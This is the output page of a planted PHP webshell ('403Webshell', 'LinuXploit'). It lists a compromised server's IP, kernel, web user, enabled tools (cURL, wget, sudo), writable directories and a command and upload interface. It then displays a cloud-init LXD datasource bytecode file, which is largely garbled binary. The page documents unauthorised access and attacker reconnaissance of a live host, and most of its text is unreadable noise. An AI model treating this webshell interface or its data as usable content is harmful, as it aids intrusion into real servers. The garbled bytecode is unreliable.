403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceLXD.cpython-314.pyc
+
��i�D����Rt^RIt^RIt^RIt^RIt^RIt^RIHtHt^RI	H
t
^RIHtH
t
HtHtHtHtHt^RIt^RIHt^RIHt^RIHt^RIHtHtHtHtHt^R	I H!t!]PD!]#4t$R
t%Rt&Rt'R
RRRRRRRRRRR/t(RRlt)R3RRllt*!RR]4t+!RR]4t,!RR]4t-R R!lt.!R"R#]P^4t0R4R$R%llt1R4R&R'llt2!R(R)]4t3!R*R+4t4]&]3Pj3R,R-llt6]0]Pn33.t8R.t9]#R/8XdU^RI:t:R0t;]:Px!];R17t=]=P}4]?!]P�!]6!]3PjR2744R#R#)5a�Datasource for LXD, reads /dev/lxd/sock representation of instance data.

Notes:
 * This datasource replaces previous NoCloud datasource for LXD.
 * Older LXD images may not have updates for cloud-init so NoCloud may
   still be detected on those images.
 * Detect LXD datasource when /dev/lxd/sock is an active socket file.
 * Info on dev-lxd API: https://documentation.ubuntu.com/lxd/en/latest/dev-lxd/
N)�Flag�auto)�JSONDecodeError)�Any�Dict�List�Optional�Tuple�Union�cast)�HTTPAdapter)�HTTPConnection)�HTTPConnectionPool)�
atomic_helper�sources�subp�
url_helper�util)�find_fallback_nicz
/dev/lxd/sockz1.0z
http://lxd�cloud-init.user-data�	user-datazcloud-init.network-config�network-config�cloud-init.vendor-data�vendor-data�user.user-datazuser.network-config�user.vendor-datac�$�V^8�dQhR\/#���return��str)�formats"�A/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceLXD.py�__annotate__r$/s����c��c��Rp\P!R4'dg\P!R.4wrTP4R
9d8\P!4R,^,pTR8XdR#TR8XdR#R	#V# \Pd#p\P	RT4TuRp?#Rp?ii;i)�eth0zsystemd-detect-virtzHUnable to run systemd-detect-virt: %s. Rendering default network config.N�uname�ppc64le�enp0s5�s390x�enc9�enp5s0)�kvm�qemu)r�which�ProcessExecutionError�LOG�warning�stripr�system_info)�default_name�	virt_type�_�err�archs     r#�_get_fallback_interface_namer;/s����L��z�z�'�(�(�	 ��9�9�&;�%<�=�L�I��?�?��!
�
��#�#�%�g�.�q�1�D��y� ����������%�)�)�	 ��K�K�5��
�
 ���
	 �s�B�B>�B9�3B>�9B>c�~�V^8�dQhR\\\,,R\\\3,/#)r�nicsr)rrr!rr)r"s"r#r$r$Is-��#�#�
�4��9�
�#�	�#�s�(�^�#r%c��\4pV'd\PRV4M \4p\PRV4R^RRRRVRRR	R
R/././#)zCReturn network config V1 dict representing instance network config.zCLXD datasource generating network from discovered active device: %szVLXD datasource generating network from systemd-detect-virt platform default device: %s�version�config�type�physical�name�subnets�dhcp�controlr)rr2�debugr;)r=�primary_nics& r#�generate_network_configrIIsz��$�%�K���	�	�
��	
�3�4���	�	�
+��	
�	�1���
����V�V�Y��?�@�
�
�	�	r%c�8aa�]tRt^otoV3RltRtRtVtV;t#)�SocketHTTPConnectionc�@<�\SV`R4WnRVnR#��	localhostN)�super�__init__�socket_path�sock��selfrQ�	__class__s&&�r#rP�SocketHTTPConnection.__init__ps���
����%�&����	r%c��\P!\P\P4VnVPP	VP
4R#�N)�socket�AF_UNIX�SOCK_STREAMrR�connectrQ�rTs&r#r\�SocketHTTPConnection.connectus6���M�M�&�.�.�&�2D�2D�E��	��	�	���$�*�*�+r%)rRrQ)	�__name__�
__module__�__qualname__�__firstlineno__rPr\�__static_attributes__�__classdictcell__�
__classcell__�rU�
__classdict__s@@r#rKrKos�����
,�,r%rKc�8aa�]tRt^ztoV3RltRtRtVtV;t#)�SocketConnectionPoolc�2<�Wn\SV`	R4R#rM)rQrOrPrSs&&�r#rP�SocketConnectionPool.__init__{s���&��
����%r%c�,�\VP4#rX)rKrQr]s&r#�	_new_conn�SocketConnectionPool._new_conns��#�D�$4�$4�5�5r%)rQ)	r_r`rarbrPrmrcrdrerfs@@r#ririzs����&�6�6r%ric�4a�]tRt^�toRRltRRltRtVtR#)�LXDSocketAdapterNc� �\\4#rX)ri�LXD_SOCKET_PATH)rT�url�proxiess&&&r#�get_connection�LXDSocketAdapter.get_connection�s
��#�O�4�4r%c�:�VPVPV4#rX)rurs)rT�request�verifyrt�certs&&&&&r#�get_connection_with_tls_context�0LXDSocketAdapter.get_connection_with_tls_context�s���"�"�7�;�;��8�8r%�rX)NN)r_r`rarbrur{rcrd�rgs@r#rprp�s����5�
9�9r%rpc�0�V^8�dQhR\R\/#)r�
metadata_typer)r!�dict)r"s"r#r$r$�s����c��d�r%c�8�\V\4'dV#Vf/#\P!V4pTf'\
P!RPYR74hT# \d-p\
P!RPYR74ThRp?ii;i)a"Convert raw instance data from str, bytes, YAML to dict

:param metadata_type: string, one of as: meta-data, vendor-data, user-data
    network-config

:param metadata_value: str, bytes or dict representing or instance-data.

:raises: InvalidMetaDataError on invalid instance-data content.
NzAInvalid {md_type}. Expected str, bytes or dict but found: {value})�md_type�valuez:Invalid {md_type} format. Expected YAML but found: {value})�
isinstancer�r�	load_yaml�AttributeErrorr�InvalidMetaDataExceptionr")r��metadata_value�parsed_metadata�excs&&  r#�_raw_instance_data_to_dictr��s����.�$�'�'������	���.�.��8�����.�.�
��v�m�v�J�
�	
�������.�.�
��v�m�v�J�
��	���s�A"�"B�-'B�Bc�*aa�]tRt^�toRt]Pt]Pt]PPR,t
RtV3RlV3Rllt]
V3RlRl4tV3RlRltV3R	lR
ltV3RlRlt]V3R
lRl4tV3RltRtVtV;t#)�
DataSourceLXD�LXDTc�$<�V^8�dQhRS[RR/#)r�ci_pkl_versionrN)�int)r"rgs"�r#r$�DataSourceLXD.__annotate__�s���(�(��(��(r%c�4<�\SV`V4RVnR#)TN)rO�	_unpickle�skip_hotplug_detect)rTr�rUs&&�r#r��DataSourceLXD._unpickle�s���
���.�)�#'�� r%c� <�V^8�dQhRS[/#r��bool)r"rgs"�r#r$r��s�����t�r%c�D�\PP\4'g\PR\4R#\P!\P!\4P4'g\PR\4R#R#)z@Check platform environment to report if this datasource may run.z%s does not exist.Fz%s is not a socketT)
�os�path�existsrrr2r3�stat�S_ISSOCK�lstat�st_moder}r%r#�	ds_detect�DataSourceLXD.ds_detect�s\���w�w�~�~�o�.�.��K�K�,�o�>�����r�x�x��8�@�@�A�A��K�K�,�o�>��r%c� <�V^8�dQhRS[/#rr�)r"rgs"�r#r$r��s�����4�r%c�8�\4Vn\RVPPR44VnVPPR/4pVPR/4pV'd&VPP\RV44RVP9dVPR,VnRVP9d#\RVPR,4VnRVP9dVPR,VnR#)z=Crawl LXD socket API instance data and return True on success�	meta-datar@�user.meta-datarrrT)	�
read_metadata�_crawled_metadatar��get�metadata�update�userdata_raw�_network_config�vendordata_raw)rTr@�
user_metadatas&  r#�	_get_data�DataSourceLXD._get_data�s���!.����2���/�/�3�3�K�@�
��
��'�'�+�+�H�b�9���
�
�#3�R�8�
���M�M� � �*�+;�]�K�
��$�0�0�0� $� 6� 6�{� C�D���t�5�5�5�#=� �$�"8�"8�9I�"J�$�D� ��D�2�2�2�"&�"8�"8��"G�D��r%c� <�V^8�dQhRS[/#rr )r"rgs"�r#r$r��s���
�
�#�
r%c�8�RP\\R7#)z.Return subplatform details for this datasourcez"LXD socket API v. {ver} ({socket}))�verrY)r"�LXD_SOCKET_API_VERSIONrrr]s&r#�_get_subplatform�DataSourceLXD._get_subplatform�s��3�:�:�&��;�
�	
r%c� <�V^8�dQhRS[/#rr )r"rgs"�r#r$r��s���I�I�C�Ir%c��\\PR7pVPR/4p\	V\
4'g\P!V4pVPR4VPPR48H#)z%Return True if instance_id unchanged.��
metadata_keysr�zinstance-id)	r��MetaDataKeys�	META_DATAr�r�r�rr�r�)rT�sys_cfg�response�mds&&  r#�check_instance_id�DataSourceLXD.check_instance_id�s`�� �|�/E�/E�F��
�\�\�+�r�
*���"�d�#�#�����#�B��v�v�m�$��
�
�(9�(9�-�(H�H�Hr%c� <�V^8�dQhRS[/#r)r�)r"rgs"�r#r$r��s���0�0��0r%c�.�VP\P8XEdVP\P8XdVP	4\VP\4'd�VPPR4'd/\PR4VPR,VnMuVPPR4'dUVPR,P4UUu.uFwrVR,R8XgKVNK	ppp\V4VnVP\P8Xd%\PR4\4Vn\\VP4#uuppi)z~Network config read from LXD socket config/user.network-config.

If none is present, then we generate fallback configuration.
rz,LXD datasource using provided network config�devicesrA�nicz8LXD datasource generating network config using fallback.)
r�r�UNSETr�r�r�r�r�r2rG�itemsrIr)rT�k�vr�s&   r#�network_config�DataSourceLXD.network_config�s5�����7�=�=�0��%�%����6���� ��$�0�0�$�7�7��)�)�-�-�.>�?�?��I�I�L�M�+/�+A�+A�(�,�D�(��+�+�/�/�	�:�:�
%)�$:�$:�9�$E�$K�$K�$M�*�$M�D�A��V�9��-���$M��*�
,C�7�+K�D�(����7�=�=�0��I�I�J�
�$;�#<�D� ��D�$�.�.�/�/��*s�F�Fc�<�V^8�dQh/S[S[S[3,;R&S[S[S[S[3,,;R&S[S[R3,;R&#)rr�r�.�sensitive_metadata_keys)r
rr!rr	)r"rgs"�r#r$r��sM�����4��9�%�5�	�
 ��d�C�i� 0�1�A��#�3��8�_�	�r%)r�r�r�r�r�r�)r�rrrr)r_r`rarb�dsnamerr�r�r��
DataSourcer�r�r��staticmethodr�r�r�r��propertyr��__annotate_func__rcrdrerfs@@r#r�r��s�����
�F�(/�
�
�O�4;�M�M��	���2�2�
�	
����(�(�������,
�
�I�I��0��0�Q�r%r�c�P�V^8�dQhR\PR\R\/#)r�sessionrs�do_raise)�requests�Sessionr!r�)r"s"r#r$r$s*����
�
�
��$'��37�r%c	��\WV4pVP'g>\PRVVPVP
P
R44/#VP4# \dFp\P!RPYP
P
R4R74ThRp?ii;i)�Skipping %s on [HTTP:%d]:%s�utf-8zFUnable to process LXD config at {url}. Expected JSON but found: {resp})rs�respN)�_do_request�okr2rG�status_code�content�decode�jsonrrr�r")r�rsr��url_responser�s&&&  r#�_get_json_responser�s����w�X�6�L��?�?�?��	�	�)���$�$�� � �'�'��0�		
��	��� � �"�"�����.�.�
/�/5�v��2�2�9�9�'�B�06�0�
�
�	���s�A-�-B=�8AB8�8B=c�p�V^8�dQhR\PR\R\R\P/#)rr�rsr�r)r�r�r!r��Response)r"s"r#r$r$,s8����
�
�
��$'��37��
���r%c	���\^^R4F_pVPV4pRVP8Xd;\P!R4\
P
RVPVV4K_M	\
PRXPV4V'd^VP'gL\P!RPVPVVPPR4R74hV#)	�i�g�������?z,[GET] [HTTP:%d] %s, retrying %d more time(s)z[GET] [HTTP:%d] %sz3Invalid HTTP response [{code}] from {route}: {resp}r�)�code�router����)�ranger�r��time�sleepr2r3rGr�rr�r"r�r�)r�rsr��retriesr�s&&&  r#r�r�,s�����Q��#���;�;�s�#���(�&�&�&�
�J�J�s�O��K�K�>��$�$���	
�
�$��I�I�"�H�$8�$8�#�>�������.�.�A�H�H��)�)���%�%�,�,�W�5�
I�
�
�	
��Or%c�n�]tRtRt]!4t]!4t]!4t]!4t]],],t	Rt
R#)r�iIr}N)r_r`rarbr�NONE�CONFIG�DEVICESr��ALLrcr}r%r#r�r�Is-���6�D�
�V�F��f�G���I�
�7�
�Y�
&�Cr%r�c�\a�]tRtRto]3V3RlRlltV3RlRltV3RlRltRtVt	R	#)
�_MetaDataReaderiQc� <�V^8�dQhRS[/#)r�api_versionr )r"rgs"�r#r$�_MetaDataReader.__annotate__Rs���N�N�C�Nr%c�f�Wn\P!\VP4VnR#rX)r�r�combine_url�LXD_URL�_version_url)rTr�s&&r#rP�_MetaDataReader.__init__Rs#��&��&�2�2�7�D�<L�<L�M��r%c�:<�V^8�dQhRS[PRS[/#)rr�r)r�r�r�)r"rgs"�r#r$r�Vs!���4�4�x�'7�'7�4�D�4r%c
�r�R//p\P!VPR4p\W4p\	V4F�p\P!\
V4p\
WRR7pVPPR4pVP'g%\PRVVPV4K|VPR4R
,p	W�R,V	&V	\9gK�\V	,V9dW�\V	,&K�\PRV	V	P!RR	^44K�	V#)abIterate on LXD API config items. Promoting CONFIG_KEY_ALIASES

Any CONFIG_KEY_ALIASES which affect cloud-init behavior are promoted
as top-level configuration keys: user-data, network-data, vendor-data.

LXD's cloud-init.* config keys override any user.* config keys.
Log debug messages if any user.* keys are overridden by the related
cloud-init.* key.
r@F�r�r�r��/z,Ignoring LXD config %s in favor of %s value.�userz
cloud-initr�)rr�r�r��sortedr�r�r�r�r�r2rGr��
rpartition�CONFIG_KEY_ALIASESr3�replace)
rTr�r@�
config_url�
config_routes�config_route�config_route_url�config_route_response�
response_text�cfg_keys
&&        r#�_process_config�_MetaDataReader._process_configVs ��!�"�~���+�+�D�,=�,=�x�H�
�+�7�?�
�
#�=�1�L�)�5�5�g�|�L��$/��E�%�!�2�9�9�@�@��I�M�(�+�+�+��	�	�1�$�)�5�5�!�	��"�-�-�c�2�2�6�G�)6�8��W�%��,�,�&�g�.�f�<�:G�-�g�6�7��K�K�F�������a�@��92�B�
r%c�&<�V^8�dQhRS[RS[/#)rr�r)r�r�)r"rgs"�r#r$r��s�������$�r%c��\P!4;_uu_4pVPVP\	44RVP
/p\PV9dI\P!VPR4p\W$4PPR4VR&\PV9d!VPVPV44\P V9d;\P!VPR4p\#W%RR7pV'dWcR&VuuRRR4# +'giR#;i)�_metadata_api_versionr�r�r�FrN)r�r��mountr�rpr�r�r�rr�r�r�r�r�r�rr�r�)rTr�r�r��md_routersr�s&$     r#�__call__�_MetaDataReader.__call__�s���
�
�
�
�
�7��M�M�$�+�+�-=�-?�@�/��1A�1A�B�B��%�%��6�%�1�1��%�%�{���#.��#��'�&�&��/��;���"�"�m�3��	�	�$�.�.�w�7�8��#�#�}�4� �,�,�T�->�->�	�J��,�W�E�J���$+�y�M��% �
�
�
�s�DD>�>E	)r�r�N)
r_r`rarbr�rPrrrcrdr~s@r#r�r�Qs)����*@�N�N�4�4�l�r%r�c�<�V^8�dQhR\R\R\/#)rr�r�r)r!r�r�)r"s"r#r$r$�s&��%�%��%��%�
�%r%c�(�\VR7!VR7#)a�Fetch metadata from the /dev/lxd/socket routes.

Perform a number of HTTP GETs on known routes on the devlxd socket API.
Minimally all containers must respond to <LXD_SOCKET_API_VERSION>/meta-data
when the LXD configuration setting `security.devlxd` is true.

When `security.devlxd` is false, no /dev/lxd/socket file exists. This
datasource will return False from `ds_detect` in that case.

Perform a GET of <LXD_SOCKET_API_VERSION>/config` and walk all `user.*`
configuration keys, storing all keys and values under a dict key
    LXD_SOCKET_API_VERSION: config {...}.

In the presence of the following optional user config keys,
create top level aliases:
  - user.user-data -> user-data
  - user.vendor-data -> vendor-data
  - user.network-config -> network-config

:param api_version:
    LXD API version to operated with.
:param metadata_keys:
    Instance of `MetaDataKeys` indicating what keys to fetch.
:return:
    A dict with the following optional keys: meta-data, user-data,
    vendor-data, network-config, network_mode, devices.

    Below <LXD_SOCKET_API_VERSION> is a dict representation of all raw
    configuration keys and values provided to the container surfaced by
    the socket under the /1.0/config/ route.
)r�r�)r�)r�r�s&&r#r�r��s��F�{�3�#��r%c�8�\P!V\4#rX)r�list_from_depends�datasources)�dependss&r#�get_datasource_listr �s���$�$�W�k�:�:r%�__main__z*Query LXD metadata and emit a JSON object.)�descriptionr�rX)T)A�__doc__�loggingr�rYr�r��enumrr�json.decoderr�typingrrrrr	r
rr��requests.adaptersr�urllib3.connectionr
�urllib3.connectionpoolr�	cloudinitrrrrr�
cloudinit.netr�	getLoggerr_r2rrr�r�rr;rIrKrirpr�r�r�r�r�r�r�r�r��DEP_FILESYSTEMrr �argparser"�ArgumentParser�parser�
parse_args�print�
json_dumpsr}r%r#�<module>r5s����	�
����(�@�@�@��)�.�5�D�D�+�
����!��!����
���K��!1��m��k��+��
�
���4#�L,�>�,�6�-�6�	9�{�	9��:f0�G�&�&�f0�R�.�:'�4�'�N�N�d.�".�"2�"2�%�T�W�+�+�-�.���;��z���B�K�
�
$�
$��
=�F�
����	�� � ��\�=M�=M�!N�O��
r%

Youez - 2016 - github.com/yon3zu
LinuXploit